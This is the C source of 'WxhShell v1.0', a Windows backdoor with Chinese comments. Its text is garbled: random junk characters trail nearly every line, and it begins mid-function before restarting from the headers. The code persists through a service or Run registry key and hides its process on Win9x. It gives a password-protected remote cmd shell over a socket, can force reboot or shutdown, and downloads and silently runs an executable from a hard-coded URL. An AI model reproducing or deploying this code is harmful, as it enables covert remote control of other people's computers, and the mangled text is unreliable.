  case 'd': { AAfhh5i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .oM- A\!  
    if(Boot(SHUTDOWN)) (~Bm\Jn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @|;[ ;:h@  
    else { ^5MM<73  
    closesocket(wsh); m\*ca3$  
    ExitThread(0); \4qF3#  
    } *CGHp8  
    break; (]sm9PO  
    } c1kV}-v  
  // 获取shell t ^>07#z  
  case 's': { S7J.(; 82  
    CmdShell(wsh); OqsuuE  
    closesocket(wsh); el<Gd.p.d  
    ExitThread(0); gLSI?  
    break; Z*P/ubV'  
  } KUPQ6v }  
  // 退出 i.^UkN{  
  case 'x': { }JOz,SQHP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?0u"No52m  
    CloseIt(wsh); m.6uLaD"!}  
    break; j/O9LygB  
    } pHk$_t  
  // 离开 ?!F<xi:  
  case 'q': { kL s{B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  })!-  
    closesocket(wsh); \3(s&K\Y6\  
    WSACleanup(); qDg`4yX.}  
    exit(1); ej7N5~!,s  
    break; 4]zn,g?&  
        } rx]Q,;"  
  } XmO]^ `  
  } s(5(zcBK  
MS2/<LD3d  
  // 提示信息 MP@}G$O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $h8?7:z;um  
} uFuH/(}K[  
  } 9]chv>dO)=  
1 h162  
  return; \\Zsxya1  
} ?=?*W7  
@G=:@;  
// shell模块句柄 Ir` l*:j$  
int CmdShell(SOCKET sock) B}y#AVSA  
{ bQ?Vh@j(M  
STARTUPINFO si; &f A1kG%  
ZeroMemory(&si,sizeof(si)); =%}(Dvjv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~s?y[yy6i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BB/c5?V  
PROCESS_INFORMATION ProcessInfo; #~rQ\A!4  
char cmdline[]="cmd"; u3 +]3!BQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >_\]c-~<  
  return 0; >Ir?)h  
} =L"I[  
isnpSN"z  
// 自身启动模式 RXWdqaENx  
int StartFromService(void) 5M>SrZH  
{ Zic:d-Q47  
typedef struct kDiR2K&  
{ ,F'y:px  
  DWORD ExitStatus; s }^W2  
  DWORD PebBaseAddress; VzM (u _)  
  DWORD AffinityMask; K(NP%:  
  DWORD BasePriority; Py9:(fdS  
  ULONG UniqueProcessId; zyK11  
  ULONG InheritedFromUniqueProcessId; :W'.SRD  
}   PROCESS_BASIC_INFORMATION; 6il+hz2&lH  
]VN1Y)  
PROCNTQSIP NtQueryInformationProcess; wxG*mOw  
hg^k lQD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; naY#`xig  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Hw#yw g  
p|r>tBv?x  
  HANDLE             hProcess; >u `Ci>tY  
  PROCESS_BASIC_INFORMATION pbi; &4p~i Z  
^'vWv C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &9n=!S'Md  
  if(NULL == hInst ) return 0; 57N<OQWf  
*; 6LX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NA$ODK -  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U<yKC8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %A@U7gqc  
)B^T7{  
  if (!NtQueryInformationProcess) return 0; 2$ \#BG  
4d-"kx3X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cn ;2&  
  if(!hProcess) return 0; $O9#4A;  
AIwp2Fz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x1`Jlzrp,  
VBu6,6  
  CloseHandle(hProcess); G7HvA46  
)|U+<r<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kPp7;U2A  
if(hProcess==NULL) return 0; }4*~*NoQ  
L 3C'q  
HMODULE hMod; Znh<r[p<  
char procName[255]; W%}zwQ  
unsigned long cbNeeded; W'C~{}c=  
OWHHN<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *2I@_b6&  
&m@DK>  
  CloseHandle(hProcess); -sk!XWW+  
safI`b w1  
if(strstr(procName,"services")) return 1; // 以服务启动 ^{+_PWn  
I6 Q{ Axy  
  return 0; // 注册表启动 Dn.%+im-u  
} ohB@ijC!  
!JwR[X\f  
// 主模块 -IG@v0_w  
int StartWxhshell(LPSTR lpCmdLine) NB)22 %  
{ RZ:= ';  
  SOCKET wsl; s ` +cQ  
BOOL val=TRUE; CF@j]I@{   
  int port=0; /:aY)0F0<&  
  struct sockaddr_in door;  r(c8P6_  
IdWFG?b3  
  if(wscfg.ws_autoins) Install(); e[L%M:e9U  
QpMi+q Y  
port=atoi(lpCmdLine); 'u4TI=[6  
kG3m1: :  
if(port<=0) port=wscfg.ws_port; MJI`1*(  
Z {*<G x  
  WSADATA data; Q)\4  .d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CR'1,  
IkJ-*vI6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]F*fQ Ncjy  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); GC^>oF  
  door.sin_family = AF_INET; Xg1QF^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /}$D&KwYg  
  door.sin_port = htons(port); W(,3j{d2i  
Bh<6J&<n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c^EU &q{4  
closesocket(wsl); zqa7!ky  
return 1; JY6^pC}*  
} FkY <I]F  
k^*S3#"  
  if(listen(wsl,2) == INVALID_SOCKET) { QL`Hb p  
closesocket(wsl); .V`N^ H:l  
return 1; R&]#@PW^  
} Q6rvTV'vv  
  Wxhshell(wsl); `ehcj G1nY  
  WSACleanup(); ^K'@W  
U/9_:  
return 0; |kh7F0';"  
.*Ylj2nM  
} 7FGi+  
2*ByVK  
// 以NT服务方式启动 aV`_@F-8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V(3=j)#  
{ 2c1L[]h'  
DWORD   status = 0; JBt2R=  
  DWORD   specificError = 0xfffffff; 2nkymEPu  
kBg8:bo~  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  jWqjGX`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =C 7WQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;Bwg'ThT  
  serviceStatus.dwWin32ExitCode     = 0; z^^)n  
  serviceStatus.dwServiceSpecificExitCode = 0; uJ T^=Y  
  serviceStatus.dwCheckPoint       = 0; H?_>wQj&  
  serviceStatus.dwWaitHint       = 0; f O,5 u;  
m6Mko2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;{89*e*)  
  if (hServiceStatusHandle==0) return; zy(NJ  
ble[@VW|  
status = GetLastError(); 3>QkO.b  
  if (status!=NO_ERROR) 7m:ZG  
{ Lv UQ&NmY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1Y'NG<d _  
    serviceStatus.dwCheckPoint       = 0; dJ>~  
    serviceStatus.dwWaitHint       = 0; D$Eq~VQ  
    serviceStatus.dwWin32ExitCode     = status; #ADm^UT^  
    serviceStatus.dwServiceSpecificExitCode = specificError; N>xdX5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YpI|=mv  
    return; ZXl_cq2r  
  } QTC!vKM  
d$hBgJe>N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L Q0e@5  
  serviceStatus.dwCheckPoint       = 0; 5Ky(C6E$s  
  serviceStatus.dwWaitHint       = 0; 4i7+'F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /V GI@"^v  
} _Wqy,L;J  
!|\l*  
// 处理NT服务事件,比如:启动、停止 ,pIh.sk7s*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) IGNU_w4j  
{ U0Uy C  
switch(fdwControl) iD*L<9  
{ G>Hg0u0!,  
case SERVICE_CONTROL_STOP: F3[,6%4v  
  serviceStatus.dwWin32ExitCode = 0; T~L&c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dTjDVq&Hz  
  serviceStatus.dwCheckPoint   = 0; u4j"U6"]M  
  serviceStatus.dwWaitHint     = 0; }OY/0p-Z  
  { :gO5#HIm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :V1j*)  
  } 1mD)G55Ep  
  return; z]7/Gc,j  
case SERVICE_CONTROL_PAUSE: $,P:B%]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k%BU&%?1  
  break; ,u>[cRqw  
case SERVICE_CONTROL_CONTINUE: @VPmr}p:{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .+,U9e:%  
  break; d6W\ \6V  
case SERVICE_CONTROL_INTERROGATE: tzthc*-<  
  break; 3)yL#hXg)  
}; \W]gy_=D{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4(p`xdr}K  
} )2_[Ww|.  
h aApw(.%  
// 标准应用程序主函数 bF6J>&]!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J#t-." f6^  
{ ^=5x1<a9$  
=3 Vug2*wd  
// 获取操作系统版本 "Kdn`zN{  
OsIsNt=GetOsVer(); }B a_epM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vd)zvI  
8CZ%-}-%$  
  // 从命令行安装 kRc+OsY9  
  if(strpbrk(lpCmdLine,"iI")) Install(); T;?k]4.X  
7f4O~4.[i  
  // 下载执行文件 lLDZ#'&An  
if(wscfg.ws_downexe) { 1[T7;i$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3H`{ A/r  
  WinExec(wscfg.ws_filenam,SW_HIDE); a{.q/Tbt  
} 9 h?'zyX B  
FF~r&h8H  
if(!OsIsNt) { a]T&-#c,}  
// 如果时win9x,隐藏进程并且设置为注册表启动 )Qd x  
HideProc(); xhOoZ-  
StartWxhshell(lpCmdLine); ?:ZB'G{%E  
} X.#)CB0c1Q  
else U2A 82;Z  
  if(StartFromService()) t`&x.o  
  // 以服务方式启动 BqY_N8l&E  
  StartServiceCtrlDispatcher(DispatchTable); Pal=I)  
else msM1K1er  
  // 普通方式启动 @J"tM.  
  StartWxhshell(lpCmdLine); Ff%V1BH[  
!7 dct#4  
return 0; &8z<~q  
} 4G?^#+|^  
:#pdyJQ_  
m$kQbPlatN  
lU%}_!tp3/  
=========================================== yjg&/6  
hU8Y&R)=9  
52dD(  
8&)v%TX  
P}Kgh7)3  
%)x9u$4W2  
" Z0jgUq`r  
||_hET  
#include <stdio.h> "(^XZAU#W  
#include <string.h> $+!dP{   
#include <windows.h> |zYOCDFf  
#include <winsock2.h> OegeZV  
#include <winsvc.h> >F7w]XH  
#include <urlmon.h> La;G S  
W(`QbNJ  
#pragma comment (lib, "Ws2_32.lib") N8b\OTk2  
#pragma comment (lib, "urlmon.lib") "y,YC M`  
TZAd{EZa  
#define MAX_USER   100 // 最大客户端连接数 DPTk5o[  
#define BUF_SOCK   200 // sock buffer 8Ojqm#/f  
#define KEY_BUFF   255 // 输入 buffer P5h|* ?=  
:oP LluW*  
#define REBOOT     0   // 重启 Nr4:Gih  
#define SHUTDOWN   1   // 关机 ff\~`n~WZ  
?m |}}a  
#define DEF_PORT   5000 // 监听端口 - {QU>`2  
wZiUzS ;v  
#define REG_LEN     16   // 注册表键长度 L>1hiD&  
#define SVC_LEN     80   // NT服务名长度 _\ToA9m  
NXU:b"G S  
// 从dll定义API $*fJKR_N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /SD}`GxH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Nr~$i%[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T{k P9 4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r9i? H  
I,j4 BU4  
// wxhshell配置信息 jxh:z  
struct WSCFG { 9\?OV @  
  int ws_port;         // 监听端口 Oj5UG*  
  char ws_passstr[REG_LEN]; // 口令 ~RhUg~o  
  int ws_autoins;       // 安装标记, 1=yes 0=no {ez $kz  
  char ws_regname[REG_LEN]; // 注册表键名 =ejj@c  
  char ws_svcname[REG_LEN]; // 服务名 e1m?g&[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1i76u!{U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K p3}A$uV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ef5)z}B   
int ws_downexe;       // 下载执行标记, 1=yes 0=no zfIo] M`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uJ !&T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =q4}(  
^SdF\uk{?6  
}; uN|A}/hr]  
e w^(3&  
// default Wxhshell configuration rbw$=bX}  
struct WSCFG wscfg={DEF_PORT, oL<#9)+2*  
    "xuhuanlingzhe", Kc/1LeAik  
    1, -Zt!H%U  
    "Wxhshell", y+k_&ss  
    "Wxhshell", b\k]Jx  
            "WxhShell Service", g{8RPw]  
    "Wrsky Windows CmdShell Service", o.+;]i}D  
    "Please Input Your Password: ", ;O"?6d0  
  1, "g{q=[U}  
  "http://www.wrsky.com/wxhshell.exe", FaL\6w  
  "Wxhshell.exe" 2;}leZ@U  
    }; jkAjYR.  
zTz}H*U  
// 消息定义模块 `c`VIq?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Wh[QR-7Ew  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [BWq9uE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 54 lD+%E  
char *msg_ws_ext="\n\rExit."; ]%\,.&=hT  
char *msg_ws_end="\n\rQuit."; +>ju,;4WK  
char *msg_ws_boot="\n\rReboot..."; fqNh\~kja  
char *msg_ws_poff="\n\rShutdown..."; [GwAm>k  
char *msg_ws_down="\n\rSave to "; -9Q(3$}  
L kt4F  
char *msg_ws_err="\n\rErr!"; LU1I `E  
char *msg_ws_ok="\n\rOK!"; h<9s& p  
jUe@xi s<T  
char ExeFile[MAX_PATH]; Y-VDi.]W  
int nUser = 0; ]z'&oz  
HANDLE handles[MAX_USER]; =~D? K9o  
int OsIsNt; iSW2I~PD  
d t/AAk6  
SERVICE_STATUS       serviceStatus; 0YH5B5b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =7Ln&tZ  
}0'=}BE  
// 函数声明 3]Z1kB  
int Install(void);  N5 ME_)  
int Uninstall(void); 6FUW^dt  
int DownloadFile(char *sURL, SOCKET wsh); YEL0h0gn  
int Boot(int flag); })g<I+]Hf9  
void HideProc(void); ]33!obM  
int GetOsVer(void); TO wd+]B  
int Wxhshell(SOCKET wsl); &?<uR)tl  
void TalkWithClient(void *cs); X Xque-  
int CmdShell(SOCKET sock); dkQ4D2W*\  
int StartFromService(void); (jc@8@Wo.  
int StartWxhshell(LPSTR lpCmdLine); <2$vo  
y Zaf q"o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &Mh.PzO=b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L^J4wYFTO  
]e>qvSuYh  
// 数据结构和表定义 )M0YX?5A R  
SERVICE_TABLE_ENTRY DispatchTable[] = bLqy7S9x  
{ agIqca;  
{wscfg.ws_svcname, NTServiceMain}, DUp`zW;B  
{NULL, NULL} p{f R$-d  
}; HJL! ;i  
_~kw^!p>Kr  
// 自我安装 bJ d| mm/v  
int Install(void) OO:S2-]Y>e  
{ iaGA9l<b  
  char svExeFile[MAX_PATH]; |OeyPD#  
  HKEY key; GQ2GcX(E(  
  strcpy(svExeFile,ExeFile); 1w,_D.1'  
p`tz*ewC  
// 如果是win9x系统,修改注册表设为自启动 *x36;6~W;  
if(!OsIsNt) { #bOv}1,s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L.n@;*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y teIp'T  
  RegCloseKey(key); ,=/9Ld2w9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0.MB;gm:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'L/)9.29  
  RegCloseKey(key); 5Xq+lLW>  
  return 0; ]U?nYppV  
    } lhUGo =  
  } xUJ(tG3  
} vYgJu-Sl  
else { _u]Z+H"  
/s?%ft#-9o  
// 如果是NT以上系统,安装为系统服务 w,%"+ tY_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]LE,4[VxRz  
if (schSCManager!=0) 0h-NT\m  
{ 5Tsz|k  
  SC_HANDLE schService = CreateService P`tOL#UeZL  
  ( 2&hv6Y1  
  schSCManager, ?1Nz ,Lc$  
  wscfg.ws_svcname, g=:o'W$@  
  wscfg.ws_svcdisp, '}cSBbl&/n  
  SERVICE_ALL_ACCESS, oodA&0{)d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yg\QtWW M  
  SERVICE_AUTO_START, }Qo]~/  
  SERVICE_ERROR_NORMAL, {O+T`; =)L  
  svExeFile, FPc `J  
  NULL, mnTF40l  
  NULL, _L,~WYRo  
  NULL, (Mv~0ShakO  
  NULL, It*U"4lgi  
  NULL P@y)K!{Nk  
  ); ~-"CU:$o  
  if (schService!=0) PYQ0&;z  
  { @!;A^<{ka  
  CloseServiceHandle(schService); *r.% /^@  
  CloseServiceHandle(schSCManager); O>E}Lu;|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WUS%4LL(  
  strcat(svExeFile,wscfg.ws_svcname); jV% VN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g0f4>m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nJ2B*(S'v.  
  RegCloseKey(key); uQG|r)  
  return 0; BOpZ8p'eH1  
    } ru:"c^W:[  
  } =8_b&4.:&  
  CloseServiceHandle(schSCManager); 5Q"yn2b4  
} KKwM\   
} X#1WzWk '  
C\{A|'l!x  
return 1; h<L_ =)lH  
} [C!*7h  
<ppdy,j:  
// 自我卸载 qt:B]#j@  
int Uninstall(void) BMq> Cj+  
{ ",apO  
  HKEY key; ^a qQw u  
G!%m~+",  
if(!OsIsNt) { 27}:f?2hbJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {~&]  
  RegDeleteValue(key,wscfg.ws_regname); Dx\~#$S!=  
  RegCloseKey(key); aj|3(2;Kp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I484c R2.  
  RegDeleteValue(key,wscfg.ws_regname); \HxF?i "   
  RegCloseKey(key); 'oz$uvX  
  return 0; "IS; o o$g  
  } HFB>0<$  
} A}! A*z<9  
} \[!{tbK`2  
else { -qpvVLR,  
|Ja5O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~M7X]  
if (schSCManager!=0) : xg J2  
{ [#wt3<d`)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UV|{za$&/  
  if (schService!=0) =ZS Yg K  
  { ?Kmz urG  
  if(DeleteService(schService)!=0) { g3s5ra[  
  CloseServiceHandle(schService); Gy+c/gK  
  CloseServiceHandle(schSCManager); J_a2DM6d  
  return 0; IUAe6  
  } Lww&[|k.  
  CloseServiceHandle(schService); QlVj#Jv;~  
  } BZOl&G(  
  CloseServiceHandle(schSCManager); f7zB_hVDmE  
} Vh01y f  
} Z$i?p;HnW  
,nog6\  
return 1; Rxw+`ru  
} ?AO=)XV2  
p  Dg!Cs  
// 从指定url下载文件 EWl9rF@I  
int DownloadFile(char *sURL, SOCKET wsh) (7_ezWSl>  
{ Tq^B>{S "  
  HRESULT hr; .R)Ho4CE  
char seps[]= "/"; )-XD= ]  
char *token; ui"`c%2n  
char *file; H O>3>v  
char myURL[MAX_PATH]; 8\)4waz$  
char myFILE[MAX_PATH]; X+;#^A3  
* W"Pv,:  
strcpy(myURL,sURL); 'e>'J ZR  
  token=strtok(myURL,seps); 8eCh5*_$  
  while(token!=NULL) ;p,Kq5,l  
  { 6."|m+D  
    file=token; )+)qFGVz  
  token=strtok(NULL,seps); ?!tO'}?  
  } 5s0`T]X-  
dF|n)+C~R  
GetCurrentDirectory(MAX_PATH,myFILE); u9 *ic~Nh  
strcat(myFILE, "\\"); J,h'eY5  
strcat(myFILE, file); q@mZ0D-  
  send(wsh,myFILE,strlen(myFILE),0); u3X!O  
send(wsh,"...",3,0); I_c?Ky8J_|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #pD=TMefC  
  if(hr==S_OK) zYis~ +  
return 0; R{B5{~m>W@  
else 3E@ &  
return 1; _Fkb$NJ"]Q  
*EU1`q*  
} )Zvn{  
HT_nxe`E  
// 系统电源模块 W Emh  
int Boot(int flag) >)`*:_{  
{ h-03]M#8=  
  HANDLE hToken; `'rvDaP  
  TOKEN_PRIVILEGES tkp; [ 7{cf`C  
khP Ub,  
  if(OsIsNt) { 9:!V":8q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w\JTMS$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9WL$3z'*  
    tkp.PrivilegeCount = 1; [L2N[vy;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;A?86o'?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ` b)i;m  
if(flag==REBOOT) { UE/iq\a>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7Zh#7jiZ`  
  return 0; Mn*v&O:  
} RHI?_gf&  
else { . N5$s2t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7$kTeKiP  
  return 0; \NL*$SnxP  
} &7w*=f8I  
  } wA";N=i=  
  else { 2 o5u02x  
if(flag==REBOOT) { 2Gc0pBqx  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %G, d&%f  
  return 0; .|LY /q\A  
} ZGS4P0$  
else { )5<c8lzp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?2S<D5M Sb  
  return 0; E7U.>8C  
} WQNFHRfO*n  
} V4?]NFK  
Z"9D1Uk  
return 1; 9d+z?J:  
} NHD`c)Q  
TdrRg''@  
// win9x进程隐藏模块 \~:_ h#bW  
void HideProc(void) #PMi6q~Z  
{ o[k,{`M0  
?,UO$#Xm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tf{o=X.)  
  if ( hKernel != NULL )  rUBc5@|  
  { TxmKmZ u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bSk)GZyH\d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A~ wVY  
    FreeLibrary(hKernel); 10..<v7  
  } NU%W9jQYS  
QjFE  
return; z?g\w6  
} Ft 2u&Rtx  
*|.-y->  
// 获取操作系统版本 'zx1kq1  
int GetOsVer(void) hWiBLip,z  
{ [_3L  
  OSVERSIONINFO winfo; 6$\'dkufQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2~!+EH  
  GetVersionEx(&winfo); uVLKR PY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |BE`ASW;  
  return 1; z 5IdYF?  
  else F44KbUH  
  return 0; j<'ZO)q`Q  
} '>dx~v %  
cp3O$S  
// 客户端句柄模块 R}0!F 2  
int Wxhshell(SOCKET wsl) eW;0{P  
{ )\l(h%s[I  
  SOCKET wsh; yxL(mt8  
  struct sockaddr_in client; r( 8!SVX  
  DWORD myID; 6e :#x:O  
= GZ,P (  
  while(nUser<MAX_USER) Y #6G&)M  
{ fV5MI[ t  
  int nSize=sizeof(client); W3 2]#M=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^n<o,K4\}  
  if(wsh==INVALID_SOCKET) return 1; 61&A`  
Eh|v>Yew  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6@geakq  
if(handles[nUser]==0) i>=!6Hu2  
  closesocket(wsh); yDe#,|-p  
else h4k.1yH;  
  nUser++; 45$F cK  
  } MXGz_Db4'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,p[9EW*8  
#^eXnhj9  
  return 0; %g{<EuK]p  
} 0XUWK@)P  
|Y]4PT#EE  
// 关闭 socket y#)ad\  
void CloseIt(SOCKET wsh) "vN~7%  
{ LV!<vakCK  
closesocket(wsh); Zsx\GeE%:  
nUser--; Eao^/MKx-  
ExitThread(0); >`=<(8bu  
} *_CzCl^   
%Ae43  
// 客户端请求句柄 6z ,nt  
void TalkWithClient(void *cs) t p<wMrq<  
{ *^Xtorqo  
/YT _~q=:  
  SOCKET wsh=(SOCKET)cs; k*uLjU  
  char pwd[SVC_LEN]; Uy5G,!  
  char cmd[KEY_BUFF]; R.$1aqA}  
char chr[1]; {bD:OF  
int i,j; Auk#pO#  
RA$q{$arb  
  while (nUser < MAX_USER) { :DoE_  
.}ePm(  
if(wscfg.ws_passstr) { Gx/kel[Y}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kYnp$8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B`?}jJa9*  
  //ZeroMemory(pwd,KEY_BUFF); &$8YW]1M  
      i=0; br4?_,  
  while(i<SVC_LEN) { 9L9qLF5 t  
=Cg1I\  
  // 设置超时 bTbF  
  fd_set FdRead; o#9 Q   
  struct timeval TimeOut; b  >x03%  
  FD_ZERO(&FdRead); $ n"*scyI  
  FD_SET(wsh,&FdRead); O =0j I  
  TimeOut.tv_sec=8; $~r_&1  
  TimeOut.tv_usec=0; iWp 6^g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jN T+?2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~Y3X*  
"xV0$%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _(:<l Y aY  
  pwd=chr[0]; W@FSQ8b>$m  
  if(chr[0]==0xd || chr[0]==0xa) { B&>z&!}  
  pwd=0; r<c&;*  
  break; vtF|: *h  
  } 8T?D#,/  
  i++; H7dT6`<~Y  
    } K n,td:(  
4=qZ Z>[t  
  // 如果是非法用户,关闭 socket OWT|F0.1$k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |qz&d=>  
} Y1R?, 5  
%WlTx&jSgE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >cLh$;l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `lQ;M?D  
@%G?Nht]o  
while(1) { f%i%QZP  
vQ]d?Tp  
  ZeroMemory(cmd,KEY_BUFF); ) P>/g*  
jRd$Vt  
      // 自动支持客户端 telnet标准   !^ad{# |X  
  j=0; -7]j[{?w  
  while(j<KEY_BUFF) { ]<C]`W2{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .6T0d 4,1  
  cmd[j]=chr[0]; IxS%V31  
  if(chr[0]==0xa || chr[0]==0xd) { Uqb]&2  
  cmd[j]=0; E3l*_b0  
  break; 1. +6x4%rV  
  } JSi0-S[Y{  
  j++; s5rD+g]E`  
    } |35OA/O?X  
CGzu(@dd\  
  // 下载文件 G<Eb~]. 1'  
  if(strstr(cmd,"http://")) { yi*EobP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !yxqOT-  
  if(DownloadFile(cmd,wsh)) {?5iK1|}K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $xbW*w  
  else D4,>g )B  
